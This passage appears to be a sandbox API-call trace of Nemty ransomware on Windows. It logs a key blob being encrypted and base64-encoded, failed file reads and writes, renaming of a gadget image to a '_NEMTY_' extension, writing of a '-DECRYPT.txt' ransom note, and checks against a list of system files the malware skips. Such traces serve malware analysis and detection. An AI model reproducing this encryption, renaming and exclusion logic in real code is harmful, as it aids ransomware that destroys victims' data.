cchWideChar=8, lpMultiByteStr=0x653ef98, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drag.png", lpUsedDefaultChar=0x0) returned 8 [0133.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0133.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0133.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0133.846] Sleep (dwMilliseconds=0x5) [0133.861] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0x36f3b90, dwHighDateTime=0x1d561e8)) [0133.861] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0x36f3b90, dwHighDateTime=0x1d561e8)) [0133.861] GetLastError () returned 0xb7 [0133.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0133.861] GetLastError () returned 0xb7 [0133.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0133.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0133.862] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0133.862] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0133.862] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0133.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0133.862] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="oIX6s8mOAQENQCD8U9NbkuaqqsC3ZLTuJbHMo1G/75Zu2angX9AH6O4JIiwS7hyE\r\nJ3aMQoFqxFBDzTJTaEvwnFq62OqaxJRTOXHlhhzVuTUuuPydQVZe7Cr6RqfZsH8r\r\nhXPktivmCItgNvYkcfMqT9RKO7x6r6r6x/LFt1vXVyRnzRxXQl7FuijK5+ARo/eL\r\n4olN+Wp0rcxhCM1nqokMDtVkYIc3+FJZvx+s/xI+Gmtb1jAu79s1YzISl3zPZohj\r\nlmhpzIWYcZY8h8wibiKJtH4le45PzZ33L2AW2J29r8cWeZrmvkKAbChXzlQv+9Ps\r\negP/34E5u5dfr0ZO+odqKw==\r\n", pcchString=0x653ec5c) returned 1 [0133.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0133.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0133.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0133.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0133.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0133.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0133.862] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\drag.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\drag.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0133.863] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0133.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0133.863] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.863] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0133.872] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.872] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0133.872] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.872] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0133.882] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.882] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0133.882] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.882] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0133.891] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.891] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0133.891] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.891] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0133.901] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.901] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0133.901] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.901] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0133.910] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.910] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0133.910] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.910] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0133.920] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.920] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0133.920] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.920] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0133.930] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.930] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0133.930] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.930] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0133.939] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.939] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0133.939] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.939] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0133.948] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.948] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0133.948] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.948] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0133.958] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.958] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0133.958] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.958] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0133.964] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.964] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0133.964] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.964] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0133.970] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.970] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0133.970] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.970] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0133.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0133.970] CloseHandle (hObject=0xffffffff) returned 0 [0133.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0133.970] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0133.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0133.970] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0133.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0133.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0133.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0133.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0133.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0133.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0133.970] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\drag.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\drag.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\drag.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\drag.png._nemty_kgobjgd_")) returned 0 [0133.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0133.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0133.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0133.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0133.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0133.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0133.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0133.971] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="en-US", cAlternateFileName="")) returned 1 [0133.971] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0133.971] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0133.971] lstrcmpiW (lpString1="en-US", lpString2="...") returned 1 [0133.971] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1 [0133.971] lstrcmpiW (lpString1="en-US", lpString2="$RECYCLE.BIN") returned 1 [0133.971] lstrcmpiW (lpString1="en-US", lpString2="rsa") returned -1 [0133.971] lstrcmpiW (lpString1="en-US", lpString2="NTDETECT.COM") returned -1 [0133.971] lstrcmpiW (lpString1="en-US", lpString2="ntldr") returned -1 [0133.971] lstrcmpiW (lpString1="en-US", lpString2="MSDOS.SYS") returned -1 [0133.971] lstrcmpiW (lpString1="en-US", lpString2="IO.SYS") returned -1 [0133.971] lstrcmpiW (lpString1="en-US", lpString2="boot.ini") returned 1 [0133.971] lstrcmpiW (lpString1="en-US", lpString2="boot.ini") returned 1 [0133.971] lstrcmpiW (lpString1="en-US", lpString2="AUTOEXEC.BAT") returned 1 [0133.971] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1 [0133.971] lstrcmpiW (lpString1="en-US", lpString2="desktop.ini") returned 1 [0133.971] lstrcmpiW (lpString1="en-US", lpString2="CONFIG.SYS") returned 1 [0133.971] lstrcmpiW (lpString1="en-US", lpString2="RECYCLER") returned -1 [0133.971] lstrcmpiW (lpString1="en-US", lpString2="BOOTSECT.BAK") returned 1 [0133.971] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1 [0133.971] lstrcmpiW (lpString1="en-US", lpString2="programdata") returned -1 [0133.971] lstrcmpiW (lpString1="en-US", lpString2="appdata") returned 1 [0133.971] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0133.971] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x653ef10, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="en-US", lpUsedDefaultChar=0x0) returned 5 [0133.971] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0133.972] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x653ef10, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="en-US", lpUsedDefaultChar=0x0) returned 5 [0133.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0133.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0133.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0133.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0133.972] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0133.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.972] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0133.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0133.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0133.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0133.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340100 [0133.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0133.972] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0133.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0133.974] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.974] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0133.975] CloseHandle (hObject=0x1ec) returned 1 [0133.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0133.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0133.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0133.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0133.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0133.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0133.975] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0133.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0133.975] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0133.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0133.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0133.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340100 [0133.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0133.975] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0133.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0133.976] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.976] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0133.977] CloseHandle 